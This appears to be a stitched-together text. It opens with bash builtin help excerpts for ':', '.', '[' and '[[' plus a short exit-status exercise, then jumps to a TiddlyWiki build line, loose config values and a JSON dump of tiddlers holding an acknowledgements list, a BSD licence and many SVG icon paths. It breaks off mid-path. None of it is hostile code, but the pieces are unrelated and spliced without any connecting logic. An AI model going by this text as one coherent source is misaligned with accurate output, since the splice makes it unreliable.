```
:: :
    Null command.

    No effect; the command does nothing.

    Exit Status:
    Always succeeds.
```


EXP

```
# :=true
:
echo $?

true
echo $?

false
echo $?
```
<pre>
.: . filename [arguments]
    Execute commands from a file in the current shell.

    Read and execute commands from FILENAME in the current shell.  The
    entries in $PATH are used to find the directory containing FILENAME.
    If any ARGUMENTS are supplied, they become the positional parameters
    when FILENAME is executed.

    Exit Status:
    Returns the status of the last command executed in FILENAME; fails if
    FILENAME cannot be read.

</pre>
```
[: [ arg... ]
    Evaluate conditional expression.
    
    This is a synonym for the "test" builtin, but the last argument must
    be a literal `]', to match the opening `['.
[[ ... ]]: [[ expression ]]
    Execute conditional command.
    
    Returns a status of 0 or 1 depending on the evaluation of the conditional
    expression EXPRESSION.  Expressions are composed of the same primaries used
    by the `test' builtin, and may be combined using the following operators:
    
      ( EXPRESSION )    Returns the value of EXPRESSION
      ! EXPRESSION              True if EXPRESSION is false; else false
      EXPR1 && EXPR2    True if both EXPR1 and EXPR2 are true; else false
      EXPR1 || EXPR2    True if either EXPR1 or EXPR2 is true; else false
    
    When the `==' and `!=' operators are used, the string to the right of
    the operator is used as a pattern and pattern matching is performed.
    When the `=~' operator is used, the string to the right of the operator
    is matched as a regular expression.
    
    The && and || operators do not evaluate EXPR2 if EXPR1 is sufficient to
    determine the expression's value.
    
    Exit Status:
    0 or 1 depending on value of EXPRESSION.
```
Built from branch 'tiddlywiki-com' at commit 90b7961629943a43cd91000ebeb7f9d0cfe589e9 of https://github.com/Jermolene/TiddlyWiki5.git at 2019-01-27 19:41:46 UTC
creator
hide
show
show
show
yes
800px
fixed
tc-btn-boxed
no
{
    "tiddlers": {
        "$:/Acknowledgements": {
            "title": "$:/Acknowledgements",
            "text": "TiddlyWiki incorporates code from these fine OpenSource projects:\n\n* [[The Stanford Javascript Crypto Library|http://bitwiseshiftleft.github.io/sjcl/]]\n* [[The Jasmine JavaScript Test Framework|http://pivotal.github.io/jasmine/]]\n* [[Normalize.css by Nicolas Gallagher|http://necolas.github.io/normalize.css/]]\n\nAnd media from these projects:\n\n* World flag icons from [[Wikipedia|http://commons.wikimedia.org/wiki/Category:SVG_flags_by_country]]\n"
        },
        "$:/core/copyright.txt": {
            "title": "$:/core/copyright.txt",
            "type": "text/plain",
            "text": "TiddlyWiki created by Jeremy Ruston, (jeremy [at] jermolene [dot] com)\n\nCopyright (c) 2004-2007, Jeremy Ruston\nCopyright (c) 2007-2018, UnaMesa Association\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n  list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n  this list of conditions and the following disclaimer in the documentation\n  and/or other materials provided with the distribution.\n\n* Neither the name of the copyright holder nor the names of its\n  contributors may be used to endorse or promote products derived from\n  this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
        },
        "$:/core/icon": {
            "title": "$:/core/icon",
            "tags": "$:/tags/Image",
            "text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><path d=\"M64 0l54.56 32v64L64 128 9.44 96V32L64 0zm21.127 95.408c-3.578-.103-5.15-.094-6.974-3.152l-1.42.042c-1.653-.075-.964-.04-2.067-.097-1.844-.07-1.548-1.86-1.873-2.8-.52-3.202.687-6.43.65-9.632-.014-1.14-1.593-5.17-2.157-6.61-1.768.34-3.546.406-5.34.497-4.134-.01-8.24-.527-12.317-1.183-.8 3.35-3.16 8.036-1.21 11.44 2.37 3.52 4.03 4.495 6.61 4.707 2.572.212 3.16 3.18 2.53 4.242-.55.73-1.52.864-2.346 1.04l-1.65.08c-1.296-.046-2.455-.404-3.61-.955-1.93-1.097-3.925-3.383-5.406-5.024.345.658.55 1.938.24 2.53-.878 1.27-4.665 1.26-6.4.47-1.97-.89-6.73-7.162-7.468-11.86 1.96-3.78 4.812-7.07 6.255-11.186-3.146-2.05-4.83-5.384-4.61-9.16l.08-.44c-3.097.59-1.49.37-4.82.628-10.608-.032-19.935-7.37-14.68-18.774.34-.673.664-1.287 1.243-.994.466.237.4 1.18.166 2.227-3.005 13.627 11.67 13.732 20.69 11.21.89-.25 2.67-1.936 3.905-2.495 2.016-.91 4.205-1.282 6.376-1.55 5.4-.63 11.893 2.276 15.19 2.37 3.3.096 7.99-.805 10.87-.615 2.09.098 4.143.483 6.16 1.03 1.306-6.49 1.4-11.27 4.492-12.38 1.814.293 3.213 2.818 4.25 4.167 2.112-.086 4.12.46 6.115 1.066 3.61-.522 6.642-2.593 9.833-4.203-3.234 2.69-3.673 7.075-3.303 11.127.138 2.103-.444 4.386-1.164 6.54-1.348 3.507-3.95 7.204-6.97 7.014-1.14-.036-1.805-.695-2.653-1.4-.164 1.427-.81 2.7-1.434 3.96-1.44 2.797-5.203 4.03-8.687 7.016-3.484 2.985 1.114 13.65 2.23 15.594 1.114 1.94 4.226 2.652 3.02 4.406-.37.58-.936.785-1.54 1.01l-.82.11zm-40.097-8.85l.553.14c.694-.27 2.09.15 2.83.353-1.363-1.31-3.417-3.24-4.897-4.46-.485-1.47-.278-2.96-.174-4.46l.02-.123c-.582 1.205-1.322 2.376-1.72 3.645-.465 1.71 2.07 3.557 3.052 4.615l.336.3z\" fill-rule=\"evenodd\"/></svg>"
        },
        "$:/core/images/add-comment": {
            "title": "$:/core/images/add-comment",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-add-comment tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><path d=\"M56 56H36a8 8 0 1 0 0 16h20v20a8 8 0 1 0 16 0V72h20a8 8 0 1 0 0-16H72V36a8 8 0 1 0-16 0v20zm-12.595 58.362c-6.683 7.659-20.297 12.903-36.006 12.903-2.196 0-4.35-.102-6.451-.3 9.652-3.836 17.356-12.24 21.01-22.874C8.516 94.28 0 79.734 0 63.5 0 33.953 28.206 10 63 10s63 23.953 63 53.5S97.794 117 63 117c-6.841 0-13.428-.926-19.595-2.638z\" fill-rule=\"evenodd\"/></svg>"
        },
        "$:/core/images/advanced-search-button": {
            "title": "$:/core/images/advanced-search-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-advanced-search-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M74.5651535,87.9848361 C66.9581537,93.0488876 57.8237115,96 48,96 C21.490332,96 0,74.509668 0,48 C0,21.490332 21.490332,0 48,0 C74.509668,0 96,21.490332 96,48 C96,57.8541369 93.0305793,67.0147285 87.9377231,74.6357895 L122.284919,108.982985 C125.978897,112.676963 125.973757,118.65366 122.284271,122.343146 C118.593975,126.033442 112.613238,126.032921 108.92411,122.343793 L74.5651535,87.9848361 Z M48,80 C65.673112,80 80,65.673112 80,48 C80,30.326888 65.673112,16 48,16 C30.326888,16 16,30.326888 16,48 C16,65.673112 30.326888,80 48,80 Z\"></path>\n        <circle cx=\"48\" cy=\"48\" r=\"8\"></circle>\n        <circle cx=\"28\" cy=\"48\" r=\"8\"></circle>\n        <circle cx=\"68\" cy=\"48\" r=\"8\"></circle>\n    </g>\n</svg>"
        },
        "$:/core/images/auto-height": {
            "title": "$:/core/images/auto-height",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-auto-height tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <path d=\"M67.9867828,114.356363 L67.9579626,99.8785426 C67.9550688,98.4248183 67.1636987,97.087107 65.8909901,96.3845863 L49.9251455,87.5716209 L47.992126,95.0735397 L79.8995411,95.0735397 C84.1215894,95.0735397 85.4638131,89.3810359 81.686497,87.4948823 L49.7971476,71.5713518 L48.0101917,79.1500092 L79.992126,79.1500092 C84.2093753,79.1500092 85.5558421,73.4676733 81.7869993,71.5753162 L49.805065,55.517008 L48.0101916,63.0917009 L79.9921259,63.0917015 C84.2035118,63.0917016 85.5551434,57.4217887 81.7966702,55.5218807 L65.7625147,47.4166161 L67.9579705,50.9864368 L67.9579705,35.6148245 L77.1715737,44.8284272 C78.7336709,46.3905243 81.2663308,46.3905243 82.8284279,44.8284271 C84.390525,43.2663299 84.390525,40.7336699 82.8284278,39.1715728 L66.8284271,23.1715728 C65.2663299,21.6094757 62.73367,21.6094757 61.1715729,23.1715729 L45.1715729,39.1715729 C43.6094757,40.73367 43.6094757,43.26633 45.1715729,44.8284271 C46.73367,46.3905243 49.26633,46.3905243 50.8284271,44.8284271 L59.9579705,35.6988837 L59.9579705,50.9864368 C59.9579705,52.495201 60.806922,53.8755997 62.1534263,54.5562576 L78.1875818,62.6615223 L79.9921261,55.0917015 L48.0101917,55.0917009 C43.7929424,55.0917008 42.4464755,60.7740368 46.2153183,62.6663939 L78.1972526,78.7247021 L79.992126,71.1500092 L48.0101917,71.1500092 C43.7881433,71.1500092 42.4459197,76.842513 46.2232358,78.7286665 L78.1125852,94.6521971 L79.8995411,87.0735397 L47.992126,87.0735397 C43.8588276,87.0735397 42.4404876,92.5780219 46.0591064,94.5754586 L62.024951,103.388424 L59.9579785,99.8944677 L59.9867142,114.32986 L50.8284271,105.171573 C49.26633,103.609476 46.73367,103.609476 45.1715729,105.171573 C43.6094757,106.73367 43.6094757,109.26633 45.1715729,110.828427 L61.1715729,126.828427 C62.73367,128.390524 65.2663299,128.390524 66.8284271,126.828427 L82.8284278,110.828427 C84.390525,109.26633 84.390525,106.73367 82.8284279,105.171573 C81.2663308,103.609476 78.7336709,103.609476 77.1715737,105.171573 L67.9867828,114.356363 L67.9867828,114.356363 Z M16,20 L112,20 C114.209139,20 116,18.209139 116,16 C116,13.790861 114.209139,12 112,12 L16,12 C13.790861,12 12,13.790861 12,16 C12,18.209139 13.790861,20 16,20 L16,20 Z\"></path>\n</svg>"
        },
        "$:/core/images/blank": {
            "title": "$:/core/images/blank",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-blank tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\"></svg>"
        },
        "$:/core/images/bold": {
            "title": "$:/core/images/bold",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-bold tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M41.1456583,51.8095238 L41.1456583,21.8711485 L67.4985994,21.8711485 C70.0084159,21.8711485 72.4285598,22.0802967 74.7591036,22.4985994 C77.0896475,22.9169022 79.1512515,23.6638602 80.9439776,24.7394958 C82.7367036,25.8151314 84.170863,27.3090474 85.2464986,29.2212885 C86.3221342,31.1335296 86.859944,33.5835518 86.859944,36.5714286 C86.859944,41.9496067 85.2465147,45.8337882 82.0196078,48.2240896 C78.792701,50.614391 74.6694929,51.8095238 69.6498599,51.8095238 L41.1456583,51.8095238 Z M13,0 L13,128 L75.0280112,128 C80.7647346,128 86.3519803,127.28292 91.789916,125.848739 C97.2278517,124.414559 102.068139,122.203563 106.310924,119.215686 C110.553709,116.22781 113.929959,112.373506 116.439776,107.652661 C118.949592,102.931816 120.204482,97.3445701 120.204482,90.8907563 C120.204482,82.8832466 118.262391,76.0411115 114.378151,70.3641457 C110.493911,64.6871798 104.607883,60.7133634 96.719888,58.442577 C102.456611,55.6937304 106.788968,52.1680887 109.717087,47.8655462 C112.645206,43.5630037 114.109244,38.1849062 114.109244,31.7310924 C114.109244,25.7553389 113.123259,20.7357813 111.151261,16.6722689 C109.179262,12.6087565 106.400578,9.35201972 102.815126,6.90196078 C99.2296739,4.45190185 94.927196,2.68908101 89.907563,1.61344538 C84.8879301,0.537809748 79.3305627,0 73.2352941,0 L13,0 Z M41.1456583,106.128852 L41.1456583,70.9915966 L71.8011204,70.9915966 C77.896389,70.9915966 82.7964334,72.3958776 86.5014006,75.2044818 C90.2063677,78.0130859 92.0588235,82.7039821 92.0588235,89.2773109 C92.0588235,92.6237329 91.4911355,95.3725383 90.3557423,97.5238095 C89.2203491,99.6750808 87.6965548,101.378145 85.7843137,102.633053 C83.8720726,103.887961 81.661077,104.784311 79.1512605,105.322129 C76.641444,105.859947 74.0121519,106.128852 71.2633053,106.128852 L41.1456583,106.128852 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/cancel-button": {
            "title": "$:/core/images/cancel-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-cancel-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n\t<g fill-rule=\"evenodd\">\n\t    <path d=\"M64,76.3137085 L47.0294734,93.2842351 C43.9038742,96.4098343 38.8399231,96.4084656 35.7157288,93.2842712 C32.5978915,90.166434 32.5915506,85.0947409 35.7157649,81.9705266 L52.6862915,65 L35.7157649,48.0294734 C32.5901657,44.9038742 32.5915344,39.8399231 35.7157288,36.7157288 C38.833566,33.5978915 43.9052591,33.5915506 47.0294734,36.7157649 L64,53.6862915 L80.9705266,36.7157649 C84.0961258,33.5901657 89.1600769,33.5915344 92.2842712,36.7157288 C95.4021085,39.833566 95.4084494,44.9052591 92.2842351,48.0294734 L75.3137085,65 L92.2842351,81.9705266 C95.4098343,85.0961258 95.4084656,90.1600769 92.2842712,93.2842712 C89.166434,96.4021085 84.0947409,96.4084494 80.9705266,93.2842351 L64,76.3137085 Z M64,129 C99.346224,129 128,100.346224 128,65 C128,29.653776 99.346224,1 64,1 C28.653776,1 1.13686838e-13,29.653776 1.13686838e-13,65 C1.13686838e-13,100.346224 28.653776,129 64,129 Z M64,113 C90.509668,113 112,91.509668 112,65 C112,38.490332 90.509668,17 64,17 C37.490332,17 16,38.490332 16,65 C16,91.509668 37.490332,113 64,113 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/chevron-down": {
            "title": "$:/core/images/chevron-down",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-chevron-down tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n\t<g fill-rule=\"evenodd\" transform=\"translate(64.000000, 40.500000) rotate(-270.000000) translate(-64.000000, -40.500000) translate(-22.500000, -26.500000)\">\n        <path d=\"M112.743107,112.12741 C111.310627,113.561013 109.331747,114.449239 107.145951,114.449239 L27.9777917,114.449239 C23.6126002,114.449239 20.0618714,110.904826 20.0618714,106.532572 C20.0618714,102.169214 23.6059497,98.6159054 27.9777917,98.6159054 L99.2285381,98.6159054 L99.2285381,27.365159 C99.2285381,22.9999675 102.77295,19.4492387 107.145205,19.4492387 C111.508562,19.4492387 115.061871,22.993317 115.061871,27.365159 L115.061871,106.533318 C115.061871,108.71579 114.175869,110.694669 112.743378,112.127981 Z\" transform=\"translate(67.561871, 66.949239) rotate(-45.000000) translate(-67.561871, -66.949239) \"></path>\n        <path d=\"M151.35638,112.12741 C149.923899,113.561013 147.94502,114.449239 145.759224,114.449239 L66.5910645,114.449239 C62.225873,114.449239 58.6751442,110.904826 58.6751442,106.532572 C58.6751442,102.169214 62.2192225,98.6159054 66.5910645,98.6159054 L137.841811,98.6159054 L137.841811,27.365159 C137.841811,22.9999675 141.386223,19.4492387 145.758478,19.4492387 C150.121835,19.4492387 153.675144,22.993317 153.675144,27.365159 L153.675144,106.533318 C153.675144,108.71579 152.789142,110.694669 151.356651,112.127981 Z\" transform=\"translate(106.175144, 66.949239) rotate(-45.000000) translate(-106.175144, -66.949239) \"></path>\n\t</g>\n</svg>"
        },
        "$:/core/images/chevron-left": {
            "title": "$:/core/images/chevron-left",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-chevron-left tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\" version=\"1.1\">\n    <g fill-rule=\"evenodd\" transform=\"translate(92.500000, 64.000000) rotate(-180.000000) translate(-92.500000, -64.000000) translate(6.000000, -3.000000)\">\n        <path d=\"M112.743107,112.12741 C111.310627,113.561013 109.331747,114.449239 107.145951,114.449239 L27.9777917,114.449239 C23.6126002,114.449239 20.0618714,110.904826 20.0618714,106.532572 C20.0618714,102.169214 23.6059497,98.6159054 27.9777917,98.6159054 L99.2285381,98.6159054 L99.2285381,27.365159 C99.2285381,22.9999675 102.77295,19.4492387 107.145205,19.4492387 C111.508562,19.4492387 115.061871,22.993317 115.061871,27.365159 L115.061871,106.533318 C115.061871,108.71579 114.175869,110.694669 112.743378,112.127981 Z\" transform=\"translate(67.561871, 66.949239) rotate(-45.000000) translate(-67.561871, -66.949239) \"></path>\n        <path d=\"M151.35638,112.12741 C149.923899,113.561013 147.94502,114.449239 145.759224,114.449239 L66.5910645,114.449239 C62.225873,114.449239 58.6751442,110.904826 58.6751442,106.532572 C58.6751442,102.169214 62.2192225,98.6159054 66.5910645,98.6159054 L137.841811,98.6159054 L137.841811,27.365159 C137.841811,22.9999675 141.386223,19.4492387 145.758478,19.4492387 C150.121835,19.4492387 153.675144,22.993317 153.675144,27.365159 L153.675144,106.533318 C153.675144,108.71579 152.789142,110.694669 151.356651,112.127981 Z\" transform=\"translate(106.175144, 66.949239) rotate(-45.000000) translate(-106.175144, -66.949239) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/chevron-right": {
            "title": "$:/core/images/chevron-right",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-chevron-right tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\" transform=\"translate(-48.000000, -3.000000)\">\n        <path d=\"M112.743107,112.12741 C111.310627,113.561013 109.331747,114.449239 107.145951,114.449239 L27.9777917,114.449239 C23.6126002,114.449239 20.0618714,110.904826 20.0618714,106.532572 C20.0618714,102.169214 23.6059497,98.6159054 27.9777917,98.6159054 L99.2285381,98.6159054 L99.2285381,27.365159 C99.2285381,22.9999675 102.77295,19.4492387 107.145205,19.4492387 C111.508562,19.4492387 115.061871,22.993317 115.061871,27.365159 L115.061871,106.533318 C115.061871,108.71579 114.175869,110.694669 112.743378,112.127981 Z\" transform=\"translate(67.561871, 66.949239) rotate(-45.000000) translate(-67.561871, -66.949239) \"></path>\n        <path d=\"M151.35638,112.12741 C149.923899,113.561013 147.94502,114.449239 145.759224,114.449239 L66.5910645,114.449239 C62.225873,114.449239 58.6751442,110.904826 58.6751442,106.532572 C58.6751442,102.169214 62.2192225,98.6159054 66.5910645,98.6159054 L137.841811,98.6159054 L137.841811,27.365159 C137.841811,22.9999675 141.386223,19.4492387 145.758478,19.4492387 C150.121835,19.4492387 153.675144,22.993317 153.675144,27.365159 L153.675144,106.533318 C153.675144,108.71579 152.789142,110.694669 151.356651,112.127981 Z\" transform=\"translate(106.175144, 66.949239) rotate(-45.000000) translate(-106.175144, -66.949239) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/chevron-up": {
            "title": "$:/core/images/chevron-up",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-chevron-up tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n\t<g fill-rule=\"evenodd\" transform=\"translate(64.000000, 89.500000) rotate(-90.000000) translate(-64.000000, -89.500000) translate(-22.500000, 22.500000)\">\n        <path d=\"M112.743107,112.12741 C111.310627,113.561013 109.331747,114.449239 107.145951,114.449239 L27.9777917,114.449239 C23.6126002,114.449239 20.0618714,110.904826 20.0618714,106.532572 C20.0618714,102.169214 23.6059497,98.6159054 27.9777917,98.6159054 L99.2285381,98.6159054 L99.2285381,27.365159 C99.2285381,22.9999675 102.77295,19.4492387 107.145205,19.4492387 C111.508562,19.4492387 115.061871,22.993317 115.061871,27.365159 L115.061871,106.533318 C115.061871,108.71579 114.175869,110.694669 112.743378,112.127981 Z\" transform=\"translate(67.561871, 66.949239) rotate(-45.000000) translate(-67.561871, -66.949239) \"></path>\n        <path d=\"M151.35638,112.12741 C149.923899,113.561013 147.94502,114.449239 145.759224,114.449239 L66.5910645,114.449239 C62.225873,114.449239 58.6751442,110.904826 58.6751442,106.532572 C58.6751442,102.169214 62.2192225,98.6159054 66.5910645,98.6159054 L137.841811,98.6159054 L137.841811,27.365159 C137.841811,22.9999675 141.386223,19.4492387 145.758478,19.4492387 C150.121835,19.4492387 153.675144,22.993317 153.675144,27.365159 L153.675144,106.533318 C153.675144,108.71579 152.789142,110.694669 151.356651,112.127981 Z\" transform=\"translate(106.175144, 66.949239) rotate(-45.000000) translate(-106.175144, -66.949239) \"></path>\n\t</g>\n</svg>"
        },
        "$:/core/images/clone-button": {
            "title": "$:/core/images/clone-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-clone-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M32.2650915,96 L32.2650915,120.002359 C32.2650915,124.419334 35.8432884,128 40.2627323,128 L120.002359,128 C124.419334,128 128,124.421803 128,120.002359 L128,40.2627323 C128,35.8457573 124.421803,32.2650915 120.002359,32.2650915 L96,32.2650915 L96,48 L108.858899,48 C110.519357,48 111.853018,49.3405131 111.853018,50.9941198 L111.853018,108.858899 C111.853018,110.519357 110.512505,111.853018 108.858899,111.853018 L50.9941198,111.853018 C49.333661,111.853018 48,110.512505 48,108.858899 L48,96 L32.2650915,96 Z\"></path>\n        <path d=\"M40,56 L32.0070969,56 C27.5881712,56 24,52.418278 24,48 C24,43.5907123 27.5848994,40 32.0070969,40 L40,40 L40,32.0070969 C40,27.5881712 43.581722,24 48,24 C52.4092877,24 56,27.5848994 56,32.0070969 L56,40 L63.9929031,40 C68.4118288,40 72,43.581722 72,48 C72,52.4092877 68.4151006,56 63.9929031,56 L56,56 L56,63.9929031 C56,68.4118288 52.418278,72 48,72 C43.5907123,72 40,68.4151006 40,63.9929031 L40,56 Z M7.9992458,0 C3.58138434,0 0,3.5881049 0,7.9992458 L0,88.0007542 C0,92.4186157 3.5881049,96 7.9992458,96 L88.0007542,96 C92.4186157,96 96,92.4118951 96,88.0007542 L96,7.9992458 C96,3.58138434 92.4118951,0 88.0007542,0 L7.9992458,0 Z M19.0010118,16 C17.3435988,16 16,17.336731 16,19.0010118 L16,76.9989882 C16,78.6564012 17.336731,80 19.0010118,80 L76.9989882,80 C78.6564012,80 80,78.663269 80,76.9989882 L80,19.0010118 C80,17.3435988 78.663269,16 76.9989882,16 L19.0010118,16 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/close-all-button": {
            "title": "$:/core/images/close-all-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-close-all-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\" transform=\"translate(-23.000000, -23.000000)\">\n        <path d=\"M43,131 L22.9976794,131 C18.5827987,131 15,127.418278 15,123 C15,118.590712 18.5806831,115 22.9976794,115 L43,115 L43,94.9976794 C43,90.5827987 46.581722,87 51,87 C55.4092877,87 59,90.5806831 59,94.9976794 L59,115 L79.0023206,115 C83.4172013,115 87,118.581722 87,123 C87,127.409288 83.4193169,131 79.0023206,131 L59,131 L59,151.002321 C59,155.417201 55.418278,159 51,159 C46.5907123,159 43,155.419317 43,151.002321 L43,131 Z\" transform=\"translate(51.000000, 123.000000) rotate(-45.000000) translate(-51.000000, -123.000000) \"></path>\n        <path d=\"M43,59 L22.9976794,59 C18.5827987,59 15,55.418278 15,51 C15,46.5907123 18.5806831,43 22.9976794,43 L43,43 L43,22.9976794 C43,18.5827987 46.581722,15 51,15 C55.4092877,15 59,18.5806831 59,22.9976794 L59,43 L79.0023206,43 C83.4172013,43 87,46.581722 87,51 C87,55.4092877 83.4193169,59 79.0023206,59 L59,59 L59,79.0023206 C59,83.4172013 55.418278,87 51,87 C46.5907123,87 43,83.4193169 43,79.0023206 L43,59 Z\" transform=\"translate(51.000000, 51.000000) rotate(-45.000000) translate(-51.000000, -51.000000) \"></path>\n        <path d=\"M115,59 L94.9976794,59 C90.5827987,59 87,55.418278 87,51 C87,46.5907123 90.5806831,43 94.9976794,43 L115,43 L115,22.9976794 C115,18.5827987 118.581722,15 123,15 C127.409288,15 131,18.5806831 131,22.9976794 L131,43 L151.002321,43 C155.417201,43 159,46.581722 159,51 C159,55.4092877 155.419317,59 151.002321,59 L131,59 L131,79.0023206 C131,83.4172013 127.418278,87 123,87 C118.590712,87 115,83.4193169 115,79.0023206 L115,59 Z\" transform=\"translate(123.000000, 51.000000) rotate(-45.000000) translate(-123.000000, -51.000000) \"></path>\n        <path d=\"M115,131 L94.9976794,131 C90.5827987,131 87,127.418278 87,123 C87,118.590712 90.5806831,115 94.9976794,115 L115,115 L115,94.9976794 C115,90.5827987 118.581722,87 123,87 C127.409288,87 131,90.5806831 131,94.9976794 L131,115 L151.002321,115 C155.417201,115 159,118.581722 159,123 C159,127.409288 155.419317,131 151.002321,131 L131,131 L131,151.002321 C131,155.417201 127.418278,159 123,159 C118.590712,159 115,155.419317 115,151.002321 L115,131 Z\" transform=\"translate(123.000000, 123.000000) rotate(-45.000000) translate(-123.000000, -123.000000) \"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/close-button": {
            "title": "$:/core/images/close-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-close-button tc-image-button\" viewBox=\"0 0 128 128\" width=\"22pt\" height=\"22pt\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M65.0864256,75.4091629 L14.9727349,125.522854 C11.8515951,128.643993 6.78104858,128.64922 3.65685425,125.525026 C0.539017023,122.407189 0.5336324,117.334539 3.65902635,114.209145 L53.7727171,64.0954544 L3.65902635,13.9817637 C0.537886594,10.8606239 0.532659916,5.79007744 3.65685425,2.6658831 C6.77469148,-0.451954124 11.8473409,-0.457338747 14.9727349,2.66805521 L65.0864256,52.7817459 L115.200116,2.66805521 C118.321256,-0.453084553 123.391803,-0.458311231 126.515997,2.6658831 C129.633834,5.78372033 129.639219,10.8563698 126.513825,13.9817637 L76.4001341,64.0954544 L126.513825,114.209145 C129.634965,117.330285 129.640191,122.400831 126.515997,125.525026 C123.39816,128.642863 118.32551,128.648248 115.200116,125.522854 L65.0864256,75.4091629 L65.0864256,75.4091629 Z\"></path>\n    </g>\n</svg>\n"
        },
        "$:/core/images/close-others-button": {
            "title": "$:/core/images/close-others-button",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-close-others-button tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n    <g fill-rule=\"evenodd\">\n        <path d=\"M64,128 C99.346224,128 128,99.346224 128,64 C128,28.653776 99.346224,0 64,0 C28.653776,0 0,28.653776 0,64 C0,99.346224 28.653776,128 64,128 Z M64,112 C90.509668,112 112,90.509668 112,64 C112,37.490332 90.509668,16 64,16 C37.490332,16 16,37.490332 16,64 C16,90.509668 37.490332,112 64,112 Z M64,96 C81.673112,96 96,81.673112 96,64 C96,46.326888 81.673112,32 64,32 C46.326888,32 32,46.326888 32,64 C32,81.673112 46.326888,96 64,96 Z M64,80 C72.836556,80 80,72.836556 80,64 C80,55.163444 72.836556,48 64,48 C55.163444,48 48,55.163444 48,64 C48,72.836556 55.163444,80 64,80 Z\"></path>\n    </g>\n</svg>"
        },
        "$:/core/images/copy-clipboard": {
            "title": "$:/core/images/copy-clipboard",
            "tags": "$:/tags/Image",
            "text": "<svg class=\"tc-image-copy-clipboard tc-image-button\" width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\">\n\t<g fill-rule=\"evenodd\">\n\t\t<rect x=\"40\" y=\"40\" width=\"33\" height=\"8\" rx=\"4\"></rect>\n\t\t<rect x=\"40\" y=\"82\" width=\"17\" height=\"8\" rx=\"4\"></rect>\n\t\t<rect x=\"40\" y=\"54\" width=\"17\" height=\"8\" rx=\"4\"></rect>\n\t\t<rect x=\"40\" y=\"96\" width=\"33\" height=\"8\" rx=\"4\"></rect>\n\t\t<rect x=\"40\" y=\"68\" width=\"12\" height=\"8\" rx=\"4\"></rect>\n\t\t<path d=\"M40,16 L23.9992458,16 C19.5813843,16 16,19.5907123 16,24 C16,24.0016363 16.0000005,24.0032725 16.0000015,24.0049086 C16.0000005,24.0065441 16,24.0081803 16,24.0098166 L16,119.990183 C16,119.99182 16.0000005,119.993456 16.0000015,119.995092 C16.0000005,119.996727 16,119.998364 16,120 C16,124.409288 19.5813843,128 23.9992458,128 L104.000754,128 C106.205061,128 108.203844,127.105595 109.652065,125.659342 C111.102424,124.21251 112,122.214511 112,120.007595 L112,103.992405 C112,99.5776607 108.418278,96 104,96 C99.5907123,96 96,99.5783218 96,103.992405 L96,112 L32,112 L32,32 L96,32 L96,40.0075946 C96,44.4223393 99.581722,48 104,48 C108.409288,48 112,44.4216782 112,40.0075946 